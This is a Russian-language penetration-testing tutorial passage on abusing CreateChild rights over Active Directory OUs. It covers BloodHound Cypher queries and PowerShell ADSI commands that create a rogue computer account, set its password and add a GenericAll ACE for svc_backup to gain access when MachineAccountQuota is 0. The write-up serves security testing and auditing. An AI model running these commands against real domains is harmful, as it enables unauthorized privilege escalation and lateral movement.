Права на добавление дочерних объектов в OU
Права CreateChild на OU позволяют создавать объекты в этой OU и в зависимости от настроек наследования в других дочерних OU. С правами CreateChild была связана уязвимость BadSuccessor (CVE-2025-53779), в которой эти права использовались для создания объекта dMSA. Но на своей практике я не встречал контроллеры домена на Windows Server 2025, да и сама уязвимость уже имеет патч.
BloodHound не показывает таких связей, но можно воспользоваться ADACLScanner и посмотреть какие группы и пользователи имеют права CreateChild на OU.
Я пошел другим путем и написал скрипт Find-CreateChildACE.ps1, который находит все OU в домене и извлекает права CreateChild для типов объектов компьютер, пользователь или любой. И в результате составляет Cypher запросы для добавления новой связи CanCreateChild.
После использовании скрипта и добавления информации в BloodHound можно выполнять Cypher запросы:
MATCH p=(m:User)-[r:CanCreateChild]->(n) RETURN p
Связь CanCreateChild будет непроходимой, так как фактически после создания объекта, он будет использоваться в других техниках, но никак не в рамках продолжения цепочки.
Сценариев использования прав CreateChild не так много, например, вы обнаружили, что группе доменных компьютеров разрешен доступ на сервер с правами локального администратора, а MachineAccountQuota равен 0, но у вас есть учетная запись с правами CreateChild на OU. Вы можете создать объект компьютер в этой OU и использовать ее для получения доступа.
Прежде чем создавать объекты нужно посмотреть ObjectType. Если любой объект, тогда можно создавать или пользователя или компьютер в зависимости от ситуации. После импорта данных тип объекта можно посмотреть через браузер Neo4j.
Создаем объект компьютер в OU с помощью ADSI:
$ou = [ADSI]"LDAP://OU=Resources,OU=Company,DC=domain,DC=local"
$newComp = $ou.Create("computer", "CN=comp")
$newComp.Put("sAMAccountName", "compquot;)
$newComp.Put("userAccountControl", 4096)
$newComp.SetInfo()Этими командами мы создаем объект компьютер, но мы не знаем от него пароля. Если попытаться добавить команду на установку пароля сразу при создании появится ошибка, что такого объекта не существует. Так что установим пароль следующими командами:
$newComp.SetPassword("NewSecurePassword123!")
$newComp.SetInfo()С помощью Rubeus можно проверить, что машина создалась, она активна и пароль установлен верный.
При установке пароля или изменении атрибутов может возникнуть ошибка об отсутствии прав на объект. Так как мы являемся владельцем объекта у нас есть права на изменение прав доступа. Так же воспользуемся ADSI:
$comp = [ADSI]"LDAP://CN=comp,OU=Resources,OU=Company,DC=domain,DC=local"
$comp.psbase.Options.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl
$secDescriptor = $comp.psbase.ObjectSecurity
$IdentityReference = (New-Object System.Security.Principal.NTAccount("svc_backup")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($IdentityReference,"GenericAll","Allow")
$secDescriptor.AddAccessRule($ace)
$comp.psbase.CommitChanges()После чего можно повторить попытку установить пароль и использовать машину.